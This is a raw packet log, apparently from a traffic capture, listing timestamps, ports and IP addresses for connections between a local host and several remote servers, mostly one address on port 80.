Nov 12, 2024 13:35:35.966447115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.966523886 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.966528893 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.966528893 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.966536999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.966597080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.966597080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.966722965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.966733932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.966746092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.966758013 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.966766119 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.966768980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.966783047 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.966860056 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.966860056 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.967076063 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967144012 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967156887 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967272997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967283010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967319965 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.967350006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.967519045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967530966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967597961 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967597961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.967597961 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.967611074 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967622995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967639923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.967678070 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.967678070 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.967678070 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.967678070 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.967981100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.968039989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.968050957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.968123913 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.968123913 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:35.968151093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:35.968266964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.036047935 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.036073923 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.038348913 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.038790941 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.038800001 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.119283915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119398117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119405985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.119410992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119424105 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119436979 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119457006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.119457006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.119503021 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.119520903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119533062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119544983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119580984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.119580984 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.119640112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.119755030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119766951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119784117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.119844913 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.119844913 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.120034933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120044947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120055914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120158911 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.120158911 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.120172024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120182037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120359898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120429039 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120440960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120445013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.120462894 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.120556116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.120587111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120599985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120662928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.120662928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.120799065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120857954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120870113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.120893955 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.120973110 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.120981932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.121037006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.121042013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.121049881 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.121062040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.121093035 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.121268034 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.121313095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.121325016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.121444941 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.177680016 CET	62181	53	192.168.2.6	162.159.36.2
Nov 12, 2024 13:35:36.180186987 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.180541039 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.180565119 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.181606054 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.181783915 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.182931900 CET	53	62181	162.159.36.2	192.168.2.6
Nov 12, 2024 13:35:36.183046103 CET	62181	53	192.168.2.6	162.159.36.2
Nov 12, 2024 13:35:36.186932087 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.186932087 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.186945915 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.187011957 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.188692093 CET	62181	53	192.168.2.6	162.159.36.2
Nov 12, 2024 13:35:36.193562031 CET	53	62181	162.159.36.2	192.168.2.6
Nov 12, 2024 13:35:36.237545013 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.237569094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.237577915 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.237622023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.237643957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.237687111 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.237879992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.237891912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.237910986 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.238003016 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.238049984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238055944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238065004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238070011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238075972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238148928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.238148928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.238482952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238614082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.238626957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238640070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238652945 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238666058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238677979 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238681078 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.238687038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.238744974 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.238744974 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.272245884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272289038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272300959 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272344112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.272452116 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.272499084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272510052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272521019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272533894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272566080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.272566080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.272675037 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.272830009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272891045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272902966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272919893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.272948980 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.273309946 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.274761915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.274817944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.274852037 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.278408051 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.284825087 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.285753965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.285772085 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.285969973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.348138094 CET	62182	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.348200083 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.348265886 CET	62182	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.348557949 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.348581076 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.348764896 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.348815918 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.348843098 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.349339962 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.349375963 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.349409103 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.349766016 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.349797010 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.349822998 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.349991083 CET	62182	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.350019932 CET	443	62182	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.350047112 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.350308895 CET	62183	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.350330114 CET	443	62183	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.350450993 CET	62184	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.350481987 CET	443	62184	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.350805044 CET	62186	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.350805044 CET	62185	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.350822926 CET	443	62185	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.350830078 CET	443	62186	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.356009960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356173992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356189013 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356216908 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.356234074 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356245041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356276989 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.356419086 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356430054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356441021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356452942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356465101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356477022 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.356477022 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.356515884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.356515884 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.356722116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356893063 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356904984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356915951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356929064 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356945992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.356957912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.357392073 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.389409065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.389442921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.389452934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.389528036 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.389528036 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.389558077 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.389569044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.389579058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.389610052 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.389691114 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.389766932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.389780045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.389847040 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.389847040 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.389899969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.389981031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.389992952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.390013933 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.390043020 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.390172005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.390192986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.390199900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.390239000 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.390295982 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.390360117 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.390369892 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.390417099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.402542114 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.402597904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.402609110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.402698994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.415708065 CET	443	51630	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.416205883 CET	51630	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.416260004 CET	443	51630	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.416748047 CET	51630	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.416770935 CET	443	51630	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.462404966 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.462435007 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.462441921 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.462464094 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.462472916 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.462483883 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.462482929 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.462510109 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.462527037 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.462567091 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.463582993 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.463591099 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.463627100 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.463654995 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.463660955 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.472445011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.472491980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.472503901 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.472528934 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.472554922 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.472625017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.472636938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.472649097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.472666025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.472678900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.472696066 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.472718954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.473069906 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473081112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473144054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473148108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.473155022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473171949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473180056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473207951 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.473207951 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.473383904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473401070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473412991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473426104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473443031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.473489046 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.473759890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473773003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473786116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.473825932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.473825932 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.507272005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507308960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507339001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507440090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507498980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507514000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507527113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507739067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.507739067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.507739067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.507739067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.507739067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.507739067 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.507854939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507867098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507879019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507890940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.507913113 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.507914066 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.507946968 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.508227110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.508239031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.508250952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.508264065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.508277893 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.508311033 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.508311033 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.514091969 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.520057917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.520153999 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.520181894 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.520196915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.520220995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.520246029 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.520247936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.520260096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.520292997 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.520302057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.546870947 CET	443	51630	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.546961069 CET	443	51630	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.547087908 CET	51630	443	192.168.2.6	13.107.246.45
